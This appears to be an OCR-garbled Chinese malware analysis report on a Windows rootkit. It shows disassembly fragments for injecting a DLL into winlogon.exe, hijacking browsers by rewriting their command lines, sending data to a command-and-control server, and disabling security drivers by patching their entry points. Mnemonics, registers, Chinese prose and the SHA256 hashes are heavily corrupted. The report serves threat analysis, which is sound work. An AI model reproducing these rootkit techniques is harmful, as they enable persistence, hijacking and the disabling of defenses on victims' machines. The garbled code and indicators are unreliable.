cs:ExQueuellorkItem

RERTIRREINNSESIERNE] system32 BRT , Z/5BJA BlackBone i3S aISEEENE!

winlogon #EHHIT. MTERTR

@@xor_0xC0:
byte ptr [rax], OCoh
rax

cx, 1
Short BExor_0XCO
loc_116E3:

byte ptr [rbx], 4Dh

short loc_1174F

byte ptr [rbx+1], 5Ah

short loc_1174F

rax, BFFFFF78888800814h

dx, Count
rsp+268h+d1l_path]

sp+268h+d11_path]
vcx, [rsp+268hsuni_dll_path]
cs:RtlinitUnicodeString

rcx, [rsp+268h+uni_d11_path]
red, edi

rdx, rbx

write_file

eax, esi

short loc_1174F

vdx, [rsp+268heuni_file_dos_name]

rex, [rsp+268hsuni_dll_path]
get_file_dos_name

al, sil

short loc_11776

rex, [rspr268hedll_path]
delete_file

loc_1174F:
a1, a1

loc_11751:
rcx, [rsp+268hsvar 18]
rex, rsp

stack_check
r11, [rsp+268hsvar_g]

loc_11776:

rdx, [rsp+268h+uni_file_dos_name]

cx, ailinlogon_exe

vdx, [rdx+UNICODE_STRING.BUFfer]

blackbone_inject_proc

short loc_11751
run_renote_d11_nodule endp

7EAN winlogon

ROOTKIT

; GODE XREF: run_remote_d1l_module+75,j

; CODE XREF: run_renote_d11_module+5Fij
3 run_remote_d11_module+63fj

3 "\\SystemRooth\systema2\\%08x .d11"
; string
; Format

; SourceString
; DestinationString

; Sourcestring

; CODE XREF: run_remote_d1l_module+7A%j
; run_remote_d11_module+8873 ...

; CODE XREF: run_remote_dll_module+124Lj

3 CODE XREF: run_remote_d1l_module+D71j

; "winlogon.exe
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ithTag

. dword ptr [rspsh88heHunber0FBytes]
F9, [FSp+usBh-HunD
vax, rax

Infornati

CODE XREF: blackbone_inject_pre

. OFFFFFFFFFFFFFFFFD
winlogon e

ord pte [rbx], 8
a8

X, ‘root’
rex, rsi

olWithTag

rocs88T]

CODE XREF: blackbone_inject_proce1
g+1ah], eax

procs110t]
DL .typ
[rspek8Bhe THIEE

[rspeuB8he INJECT_BLL]
jectpll

7EA winlogon

©5:PsLookupProcessByProcessid
ebx, eax
eax, eax
loc_1CF33
rcx, [rsp+88h+0bject]
PsGetProcesstousiProcess
[rsp+88h+0bject] Object
rax
[rsp+88h+arg_18]

+od Alertable
+8d WaitHode
edx, edx WaitReason
rsp+88h+Tineout], Tineout
cs:KeWlai tForSingle0bject
eax, eax
short loc_1CDCO
eax, [rdi+4ich]
edx, edx
. aBbinjectdll BInjectdl
ecx, [rdx+4Dh]
r8, aBlackbonesProc ; "BlackBone: %s: Process %u is terminatin®...
dword ptr [rsp+88h+Timeout], eax
cs:DbgPrintEx
rcx, [rsp+88h+0bject] Object
€x, rcx
short loc_1CDB6
cs:0bfDereferencedbject

loc_1CDB6: ; CODE XREF: BBInjectdll+Aat
eax, STATUS_PROCESS IS TERHINATING
loc_1CF65

loc_1CDEO: CODE XREF: BBInjectdll+7aT
rex, [rsp+88h+Object]
rdx, [rsp+88h+uar_48]
cs:KeStackattachProcess

x, aNtdll_d1l td1l.d11"
rex, [rsp+88h+DestinationString] DestinationString
cs:RtlInitUnicodestring
%, [rsp+88h+0bject]
rdx, [rsp+88h+DestinationString]
rob, 1
b, F12b
sub_1CF76
rbp, rax
rax, raz
short loc_1CE23
r9, aBbinjectdll BInjectpll"
r8, aBlackboneSFail lackBone: %s: Failed to get Htdll base"...

%=hY BlackBone INE#BX3
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rdx, [rsp+2ES8h+current_proc_image file name] ; st_xxx

[rsp+2E8h+current_proc_image_file_name.MaximumLength], cx

[rsp+2E8h+current_proc_inage_file_name.Length], cx

rox, rdi ; current_pid

[+sp+2E8h+current_proc_inage_file name.Buffer], rax

get_proc_image_file_name

eax, ebp

loc_1BDS5

eax, eax

rex, rdi 3 pid

[rsp+2E8h+uni_hijack_url.Length], bp

[Fsp+2E8h+uni_hijack_url.Maxinunlength], rax

dword ptr [rsp+2E8h+uni_hijack_url.Buffer+2], eax

word ptr [rsp+2E8h+uni_hijack_url.Buffer+6], ax

[rsp+2E8h+var_296], rax

[rsp+2E8h+uar eax

[rsp+2E8h+var_28A], ax

[+sp+2E8h+buf_len], bp

check_brouser_name Return browser type.
iexplore
3608se
qqbrouser
hao123Juzi
2345explorer
Haxthon
firefox

eax, esi

@aiexplore

eax, esi

EE368se

eax, esi

@aggbrowser

eax, esi

short @Ehao123Juzi

eax, esi

short B@2345explorer

eax, esi

short @@Maxthon

eax, esi

short EEfirefox

eax, 5Dh

loc_1BBCC

c lag_hijack_others_browser,

loc_1BD55

rdx, urldata_hijack_default

loc_1BBC1

XREF: notify_proc_operation+F5ij
es:Flag_hijack_others_browser,
loc_1BD55
rdx, urldata_hijack_firefox
short loc_1BBC1

BEHaxthon : XREF: notify_proc_operation+F1Tj
cs:Flag_hijack_others_browser,
loc_1BDS5
rdx, urldata_hijack_maxthon
short loc_1BBC1

@E2345explorer : XREF: notify proc_operation+EDTj
es:flag _hijack others browser,
loc_1BD55
rdx, urldata_hijack 23uSexplore
short loc 1BBC1

©Ehao123Juzi: XREF:
cs:flag_hijack others browser, esi
loc_1BDS5
rdx, urldata hijack_hao123juzi
short loc_1BBC1

@aqqbrouser : XREF: notify_proc_operation+Ed
cs:flag_hijack_gqgqbrowser, esi
loc_1BDS5
rdx, urldata_hijack_ggbrowses
short loc_1BBC1

XREF: notify_proc_operation+D9
cs:Flag_hijack_368se, esi
loc_1BDS5
rdx, urldata_hijack_360se
short loc_1BBC1

XREF: notify_proc_operation+Dit

cs:flag_hijack_iexplore, esi
loc_1BD55
rdx, urldata_hijack_iexplore SourceString

CODE XREF: notify proc_operation+1137
notify_proc_operation+12Bfj ...

rox, [Fsp+2E8h+uni_hijack_url] DestinationString

cs:RtlInitUnicodes

CODE XREF: notify_proc_operation+FA
eax, eax
9, [rsp+2E8h+tenmp_string] temp_string
¥8, [rsp+2E8h+buf_len] output_path
rdx, [rsp+2E8h+uni_hijack url] hijack_url
rcx, [rsp+2ES8h+current_proc_image_file_name] ; image_file_name
quord ptr [rsp+2ESh+temp_string.HaxinumLength], rax
duord ptr [rsp+2E8h+temp_string.Buffers+2], eax
word ptr [rsp+2E8h+tenp_string.Buffer+6], ax
append_hijack_run_cnd
eax, ebp
loc_1BDS5
rdx, [Fsp+2E8h+buf_len]
rex, rdi
insert_info_in_hijack_list
rex, rdi
Find_hijack

TN ST AR At
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[rdi+hijack list.is_wows4], r13b

short loc_1BFD9

rsi, RTL_USER_PROGCESS_PARAMETERS32.CommandLine
short 1loc_1BFDD

loc_1BFD9: ; CODE XREF: hijack_proc_param+12971j
rsi, _RTL_USER_PROGESS_PARAMETERS64.CommandLine

loc_1BFDD: ; CODE XREF: hijack_proc_param+12FT1j
rsi, P12
loc_1cecs
rdx, r13
rex, rsi
call_HMmProbeAndLockPages
al, ri12b
loc_1CBC8
eax, [rsi+UNICODE_STRING32.Length]
[rdi+hijack_list.proc_param.Length], ax
eax, [rsi+UNICODE_STRINGZ2.MaximumLength]
[rdi+hijack list.proc_param.HMaximunLength], ax
[rdi+hijack list.is_wowsa], r13b
short loc_1Co1k
eax, [rsi+UNICODE_STRING32.Buffer]
short loc_1CA18

; CODE XREF: hijack_proc_param+16571j
rax, [rsi+UNICODE_STRINGG6Y.Buffer]

: CODE XREF: hijack_proc_param+16ATj
vbp, [rdi+hijack_list.alloc_memory_base]
[rdi+hijack_list.proc_param.Buffer], rax
rbp, r12
loc_1CBC8
rdx, ri13
rcx, rbp
call_HMnProbeAndLockPages
al, vi12b
loc_1cecs
rcx, [rbp+{size UNICODE_STRING)] ; Dst
[rbp+UNICODE_STRINGS4.Buffer], rcx
eax, [rdi+hijack_list.hijack_param.Length]
[rbp+UNICODE_STRING64.Length], ax
eax, [rdi+h . list.hijack_param.MaximumLength]
[vbp+UNICODE_STRING6%4.HMaximumLength], ax
r8d, [rdi+hijack_list.hijack_param.Length] Size
rdx, [rdi+hijack list.hijack_param.Buffer] Src
nemcpy
r11d, [rbp+UNICODE_STRINGGY.Length]
rax, [rbp+UNICODE_STRING6Y.Buffer]

11, 1

[rax+ri1=2], ri12uw

eax, [rbp+UNIGODE_STRINGGY.Length]
[rsi+UNICODE_STRING64.Length], ax

eax, [rbp+UNICODE_STRING6Y4.MaximumLength]
[rsi+UNICODE_STRINGG6Y.MaximumLength], ax
[rdishijack_list.is wow64], r13b

short loc_1C891

eax, dword ptr [rbp+UNICODE_STRINGG4.Buffer]
[r5i+UNICODE_STRING32 .Buffer], eax

short loc_1C099

loc_1C091: CODE XREF: hijack_proc_param+1DFTj
rax, [rbp+UNICODE STRINGG6Y4.Buffer]
[rsi+UNICODE_STRING6%.Buffer], rax

loc_1C099: CODE XREF: hijack_proc_param+1EZTj
rex, rdi
free_hijack_info_list
rcx, [rsp+é6Bh+apc_state_ptr]
cs:KelUnstackDetachProcess
c yte_24F2D, r12b
short loc_1G187
ecx, 13h
cs:byte_24F2D, r13b
call_send_flag_data_to_cc_server [/ @FHESHRET , REETREED 013
short loc_1C107

HFSHIESEL

2) B MREINEEIRI=EIRENINE

BT AT TRESSBMEIERERS , HEEEH T — BRI TARCIRBMEINEE , RS
HAMELBIFERSNIFEBERIIRIT  BREH MR RS BRIT. LTI
IEESERE RS , RERLEREIAORDBIRAERRE , WS TG FIBERT.
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EFIRTIEENNEAIRG R DR

ZhE S Msimedia.sys 8& mssafel.sys MSEIFEHIT, Z

BhfyERESH

2345, IwE. BE , EEIXEIE ADSafe WEZFRSER " LigigEx” 2

BRNEREXERER | BB LRSI BN ENERE

48 8B 4F 68
E8 93 35 88
48 85 €A

FF

a8 88
4

C8 0O B8n

18

48

18

a1 88 88

85 C6 2A 81 B8 B1
75 34
48 83 64 24 38 6O
48 8D 685 DA FE FF FF
48 8D 6D A7 2n B1 B8
48 89 u4 24 28
48 83 64 24 28 00
45 33 €9
45

85 95 2a 81 68 81
FF 15 3F EC 88 88

1TPCEC , IRBESNESRIEERT. BRBEPHNEREREE

loc_12358:

nou
nou
call
test
jz

@Eblock_driver_load:
nov
lea
nov
nouzx
nov
nov
nov
nou
btr
nou
cli
lea
nou
nou
nouzx
nou
nou
nou
nou
sti
bts
nov
cmp
nov

rex, [rdi+g8]
get_nt_header_base
rax, rax

short loc_1234A
ebx, ebx

short loc_12358

0DE XREF: anti_antivirus+5Cij
ebx, [rax+IMAGE_NT_HEADERS. I]ptl\]nalHEadEr -AddressOfEntryPoint]
rbx, rcx

s CODE XREF: anti_antivirus+60ij
rex, rbx
cs:HnlsfddressUalid
al, al
loc_12409
rdx, [rdi:g8]
rex, rsi s Stringi
in_black_list_file
al, al
loc_12409

eax, £5:_ opcode_retn_ @
rcx, [rsp+58h+uar_18]
[rcx], eax

eax, cs5:_ opcode_retn_ 1
[rcx+4], ax

al, cs:__opcode_retn_ 2
[rcx+6], al

rax r8

rax, 18h

crd, rax

rex, [rspi58h+uar_18]
eax, [rex]

[rbx], eax

eax, word ptr [rcx+4]
[rbx+4], ax

al, [rcx+6]

[rbx+6], al

rax, cr@

rax, 16h
cr@, rax
€s:block_av_drivers_success, 8
€s:byte_24E99, 1
short loc_12409
[rsp+58h+var_28], 8
rax, workitem Bx12_insert work_item 0 // BEH=EED , BXETHSE 0x12
rcx, quord_24E98 5 ThreadHandle
tartRoutine

rocessHandle

s Desiredfccess

es:block_au_drivers_success, 1
s :PstreateSystenThread

FIHTRERHIKNEE

TREEN , RETENNARKREINSRSISUGRE T

K,

BEHT

BEREZRER , TTEFR :

eHuoRongBoRui ®Shanghai Damo Network

®Rising Information 2345 Network eKingsoft

o bk
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*Qihoo 360

#Baidu (China)

®2345.com
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ank

SMIKENIERINE, , ATlAE

X" B9ER. BXABOTER=

ROOTKIT

BT ERZEERISEIN

PRRSEFER  ZAFEAERRAN NDEERS

lea
nou
add
call
lea
moy
mou
call
cnp
jnz
lea
nou
call
cnp
jnz
inc
cnp
ib
moy
call
cnp
jnz

@Echeck_unp_packed:

lea
mou
call
cnp
jnz
lea
moy
call
cnp
jnz

FEEE " LB NERER

ZE R BARCEITH]

rex, rbp
@dcheck_ump_packed
cs:HnlsAddressUalid

al, bpl
@acheck_ump_packed

rcx, [rbx+8
cs:hnlshddressUalid

al, bpl

short @acheck_ump_packed

; CODE XREF: in black 1list file+ASyj

rcx, [rsp+38h+Destinationstring] Destinationstring
d ptr [rsp+38h+DestinationString.HaximunLength], rax

dword pte [rsp+38h:DestinationString.Buffers2], eax

word ptr [rsp+38h+Destinationstring.Buffer+é], ax

dx, BC8h

rax, alislmedia_sys s

[rsp+38h+Destinationstring.Length], bp

rdx, rax ; SourceString

cs:RtlInitUnicodeString

rdx, [rsp+38h+Destinationstring] string2

8b, 1 CaselnSensitive
rbx Stringd

cs:Rt1EquallnicodeString

al, bpl

short loc_1229C

rdx, [rsp+38h+DestinationString]

rcx, rbx

is_include_ustr

al, bpl

short loc_1229C

edi

edi, 2

short loc_12201

rcx, rbx

check_pe_file_uverify_info

al, bpl

short loc_1229C

"Hs1lmedia.sys™

substr
fullstr

CODE XREF: in black list file+1Ftj
; in_black_list_file+2ETj ...

dx, alpx@
rex, rsi
is_section_name_equel_str
al, bpl

short loc_1229C

rdx, a_umpo

€x, rsi
is_section_name_equel_str
al, bpl

short loc_1229C

al, al

AT RERETRER

BEEF=

ERAT "L
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¥8d, word ptr [rdi]

rdx, [rdi+8]

rex, [rsp+268h+SourceString]
mencpy

rdx, [rsp+268h+var_248]
rex, [rsp+268h+SourceString] SourceString
[rsp+268h+var_34], bx

read file_all

13, rax

rax, rbx

short loc_15AF9

al, al

loc_16B7A

loc_16AF9: CODE XREF: check_pe_file uerify_info+7cTj
rex, rax
get_nt_header_base
rax, rbx
short loc_16B6n
esi, [rax+(IHAGE_NT_HEADERS.OptionalHead i ry.Uirtualaddress+26h)] ; Secu
r12d, [rax+(IMAGE_NT_HEADERS.OptionalHeader . ir .Size+28h)] ; Security Size
rsi, rbx
short loc_16B6A
r12d, ebx
short loc_16B6A
eax, [rsp+268h+uar 248]
eax, esi
r12d, eax
short loc_16B6n
rsi, r13
ebp, ebx

loc_16B2D: heck_pe_file_uverify_info+Foyj

rex, black signature list = o
eax, eax
r8d, ebp
edx, r12d

imul r8, 38

add r8, rex

or vex, OFFFFFFFFFFFFFFFFh

nou vdi, r8

repne scasb

not

lea

nov

call nen_nemcmp

cnp al, bl

inz short loc_16B68

i ebp
ebp, 18
short loc_16B2D
short loc_16BéA

loc_16B68: ; CODE XREF: check_pe_file_verify_info+E97j

GNEREERERERRET
AT REAZRRENFIFRRSEFER VMProtect TFTIRIP | FRLURSIEEIRIMAN T — M ERHMTS

%, SRR UPXO 5iE vmp0 MZRIEIRANEIEHNAT, W FER

r12, rdx
get_nt_header_base
r13d, r13d

rdi, rax

rax, r13

short loc_169A7
al, al

short loc_169E3

loc_169A7: ; CODE XREF: is_section_name_equel str+29
eax, [rax+IHAGE_NT_HEADERS.FileHeader .SizeDfOptionalHeader]
esi, r13d
rbp, [rax+rdi+18h]
r13w, [rdi+IMAGE_NT_HEADERS.FileHeader .HumberOfSections]
short loc_169DE
ebx, 1

loc_1698F: CODE XREF: is_section_name_equel_str+64yj
rdx, ri12 Str2
rex, rbp Str1: ImageSectionHeader -> Hame
cs:_stricmp
eax, r13d
short loc_169E1
eax, [rdi+IHAGE_NT_HEADERS.FileHeader .HumberdfSections]
esi, ebx
rbp, size IMAGE_SECTION_HEADER
esi, eax
short loc_169BF

loc_169DE: CODE XREF: is_section_name_equel_str+48@
bl, r13b

loc_169E1: CODE XREF: is_section_name_equel_str+567j
al, bl

i UREES
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fy=

NS RAEAR SHA256

SHA256

e3d08bc8cc9bl54dcl638dd3f57cfd4a2729dac50f59acebcd5cfbllesa2518

aleficcac0554dddfe?dedl cblboca’6a89ae/09cbe88bce3eeb015ec19d9b7e
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